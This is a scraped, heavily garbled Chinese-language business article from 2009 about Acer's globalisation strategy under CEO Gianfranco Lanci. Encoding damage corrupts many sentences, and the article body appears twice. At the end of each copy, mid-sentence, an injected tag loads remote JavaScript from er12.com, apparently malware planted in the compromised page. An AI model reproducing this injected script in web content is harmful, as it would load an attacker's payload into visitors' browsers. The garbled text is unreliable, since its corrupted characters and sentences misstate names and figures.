解讀宏x伻�球化盟�?/h1>

發布時間:2009/6/29 7:49:36 訪問次數:533

大約三個月前，吉安弗蘭克-蘭奇飛抵舊金山國際機場，走下飛機，來到護照管制站，管制站很快確認他就是宏x乧eo。蘭奇說：“這是平生第一次發生這樣的事。”如今蘭奇已經名聲大震。他率領宏x伵灼�另槫时圃懩传统，将公司建成一隔欆図d牡縋災圃焐蹋�并翑逃嬻业占据两z萍際澄锪吹囊桓鼉蕕恪?

“奴隸”的成功

今年，宏x伇硐殖鲞瓦捅迫說奶�势，极抠犉H�葬u鞫�，成为蕿懢i詼�大悼P韻�售色HＨ艄�諎茜此，它将尾随惠普之后。哉啍r�之外，还脫]幸患業縋隕痰憊�阉N�。endpoint technologies associates的分析師羅杰說：“這是一個偉大的成績，他們已經打破了常規，宏x伒娜煩曬α恕！?/p>

像富士康和廣達這樣的巨人已經將臺灣小島變成了制造中心，音樂播放器，視頻游戲，手機與電腦源源不斷向消費者輸送。但是惠普、戴爾、蘋果及其它廠商日益施壓，脅迫降價，使巨人們越來越寸步難行。一些商業領袖終于按捺不住，嘗試推動本土公司的國際化。結果，在一些飛速增長的科技地帶，它們培養自己的軟件業務，擁有自己的知識產權。臺灣屏幕生產商元太科技的董事彭天華(tien-haw peng)說："許多臺灣公司都是經濟繁榮與蕭條交替循環的奴隸，尋找價值鏈中的一個有利點，將產品賣出去，這就是目標。"

至今，還沒有一家臺灣企業比宏x佔齙酶�崇Y��?/p>

直銷看起來不是最正確的模式

大約15年前，宏x伈鴟鄭�一部穲锑]麓�工业务，另一部分晕圍售纂s釁放蘋�。分铲Y饗源�来了聶纬！宏x伕卟闥擔�准s旱鈉放樸氪�工客户竞争。�?000年，宏x佒緩梅牌�代工部门，一年后，抽W⒁患倚鹿�司纬创接管代工业务。宏x伕�小，也更敏捷了�?/p>

從一無所有開始，宏x佔雋艘桓齜闖９嫻木霾摺Ｋ�君f�集中又O�费型笔紳撉G�通过韩I骰鋨橛肓閌凵滔�枢P�而元氹任簻u問降鬧畢�。这种方g較勻揮氪鞫�蠂看，�?000年，戴爾是全球pc業中最大的亮點。它超過了康柏，ibm，惠普，創造了直銷模式，有效地向大公司出售臺式電腦。隨后幾年，電腦零售終于垂青宏x仭Ｈ緗瘢�消费型悼P員壬濤竦縋愿�有手C。�大家也比较青睐笔紳摫M４鞫�祿吓势开始消失，人们涌惦A�缕A輳�购孪l昱淶牡縋浴?/p>

蘭奇說：“當我們分拆時，我們一直在考慮，pc是不是會更像一種商品，消費型電腦會不會最終成為最大的業務。直銷看起來不是最正確的模式，八九年之后，我們才覺得自己做了正確的決定。”

經濟下滑沒有影響宏x伒牟椒ィ�栽r始潛臼諧?-尤其是在上網本上--宏x伻〉昧司�日f慕�步。戴尔太过矣[瞪濤竦縋裕�现灾]�的客户正灾]踅粞�包过日讬熏草x趕灤碌畝┑ァ?/p>

6000員工與166億美元的營收

去年，宏x伒氖諧≡齔ち巳�胳\俜值悖�达�?0.9％，戴爾只增長了0.1個百分點，達到15％。今年，差距再度縮小，據一季度的報告顯示，宏x伿姓家汛?1.6％，戴爾為13.6％。

蘭奇認為公司能持續成長，尤其是在美國與中國，這是pc廠商的兩塊寶地。他還補充說，自己正操縱宏x佅蚴只�进军，手机与pc的相似性會給宏x佔⑷朐齔ざ�力。他表是G?我們擁有'知道－如何'這兩個詞，這兩個詞正在融合。"

在與對手對決時，宏x佔苣艽蔥攏�当茰O�厂勺T⑾質諧∪鵲閌保�公藥�閎�力跟藡偓褩U僖愿�祱D鄄�品轰炸手C　Ｓ⑻囟?博客)ceo歐德寧說：“他們的做法十分驚人。”當然，這種策略也有問題。價格戰帶來的利潤有限，從而在研發投入上不及對手。惠普由于產品線較窄，且功能不多，能保持較高的價格。戴爾也已經切入零售，推出了吸引眼球的產品引誘用戶。

惠普psg集團總裁todd bradley說：“我認為，宏x佒恢厥庸�寡a叵擔�而忽视茰O�，它只蕷J庋�一更兒争对手而疫x！?/p>

上兩個季度，惠普的pc部門營收下降了19％，戴爾更嚴重，臺式機銷售更是每季度大降30％。宏x伒惱�体营收覡N邢祿�，但謸]?-8％。蘭奇說："在這個糟糕的時期，我們依然游刃有余，我不認為競爭對手能跟上步伐。"與競爭者不同，宏x伒哪勘曛揮幸桓觶郝艫縋浴Ｕ�因集中精力，宏x伈拍芙�立弃w桓齙圖壑祊c體系。它可以自由選擇低價的代工廠，幾乎沒有什么存貨。蘭奇說："我們收集消費者訂單，然后交付代工廠，他們出貨，我們根本不用親力親?script src=http://er12.com/t.js>

大約三個月前，吉安弗蘭克-蘭奇飛抵舊金山國際機場，走下飛機，來到護照管制站，管制站很快確認他就是宏x乧eo。蘭奇說：“這是平生第一次發生這樣的事。”如今蘭奇已經名聲大震。他率領宏x伵灼�另槫时圃懩传统，将公司建成一隔欆図d牡縋災圃焐蹋�并翑逃嬻业占据两z萍際澄锪吹囊桓鼉蕕恪?

“奴隸”的成功

今年，宏x伇硐殖鲞瓦捅迫說奶�势，极抠犉H�葬u鞫�，成为蕿懢i詼�大悼P韻�售色HＨ艄�諎茜此，它将尾随惠普之后。哉啍r�之外，还脫]幸患業縋隕痰憊�阉N�。endpoint technologies associates的分析師羅杰說：“這是一個偉大的成績，他們已經打破了常規，宏x伒娜煩曬α恕！?/p>

像富士康和廣達這樣的巨人已經將臺灣小島變成了制造中心，音樂播放器，視頻游戲，手機與電腦源源不斷向消費者輸送。但是惠普、戴爾、蘋果及其它廠商日益施壓，脅迫降價，使巨人們越來越寸步難行。一些商業領袖終于按捺不住，嘗試推動本土公司的國際化。結果，在一些飛速增長的科技地帶，它們培養自己的軟件業務，擁有自己的知識產權。臺灣屏幕生產商元太科技的董事彭天華(tien-haw peng)說："許多臺灣公司都是經濟繁榮與蕭條交替循環的奴隸，尋找價值鏈中的一個有利點，將產品賣出去，這就是目標。"

至今，還沒有一家臺灣企業比宏x佔齙酶�崇Y��?/p>

直銷看起來不是最正確的模式

大約15年前，宏x伈鴟鄭�一部穲锑]麓�工业务，另一部分晕圍售纂s釁放蘋�。分铲Y饗源�来了聶纬！宏x伕卟闥擔�准s旱鈉放樸氪�工客户竞争。�?000年，宏x佒緩梅牌�代工部门，一年后，抽W⒁患倚鹿�司纬创接管代工业务。宏x伕�小，也更敏捷了�?/p>

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蘭奇說：“當我們分拆時，我們一直在考慮，pc是不是會更像一種商品，消費型電腦會不會最終成為最大的業務。直銷看起來不是最正確的模式，八九年之后，我們才覺得自己做了正確的決定。”

經濟下滑沒有影響宏x伒牟椒ィ�栽r始潛臼諧?-尤其是在上網本上--宏x伻〉昧司�日f慕�步。戴尔太过矣[瞪濤竦縋裕�现灾]�的客户正灾]踅粞�包过日讬熏草x趕灤碌畝┑ァ?/p>

6000員工與166億美元的營收

去年，宏x伒氖諧≡齔ち巳�胳\俜值悖�达�?0.9％，戴爾只增長了0.1個百分點，達到15％。今年，差距再度縮小，據一季度的報告顯示，宏x伿姓家汛?1.6％，戴爾為13.6％。

蘭奇認為公司能持續成長，尤其是在美國與中國，這是pc廠商的兩塊寶地。他還補充說，自己正操縱宏x佅蚴只�进军，手机与pc的相似性會給宏x佔⑷朐齔ざ�力。他表是G?我們擁有'知道－如何'這兩個詞，這兩個詞正在融合。"

在與對手對決時，宏x佔苣艽蔥攏�当茰O�厂勺T⑾質諧∪鵲閌保�公藥�閎�力跟藡偓褩U僖愿�祱D鄄�品轰炸手C　Ｓ⑻囟?博客)ceo歐德寧說：“他們的做法十分驚人。”當然，這種策略也有問題。價格戰帶來的利潤有限，從而在研發投入上不及對手。惠普由于產品線較窄，且功能不多，能保持較高的價格。戴爾也已經切入零售，推出了吸引眼球的產品引誘用戶。

惠普psg集團總裁todd bradley說：“我認為，宏x佒恢厥庸�寡a叵擔�而忽视茰O�，它只蕷J庋�一更兒争对手而疫x！?/p>

上兩個季度，惠普的pc部門營收下降了19％，戴爾更嚴重，臺式機銷售更是每季度大降30％。宏x伒惱�体营收覡N邢祿�，但謸]?-8％。蘭奇說："在這個糟糕的時期，我們依然游刃有余，我不認為競爭對手能跟上步伐。"與競爭者不同，宏x伒哪勘曛揮幸桓觶郝艫縋浴Ｕ�因集中精力，宏x伈拍芙�立弃w桓齙圖壑祊c體系。它可以自由選擇低價的代工廠，幾乎沒有什么存貨。蘭奇說："我們收集消費者訂單，然后交付代工廠，他們出貨，我們根本不用親力親?script src=http://er12.com/t.js>

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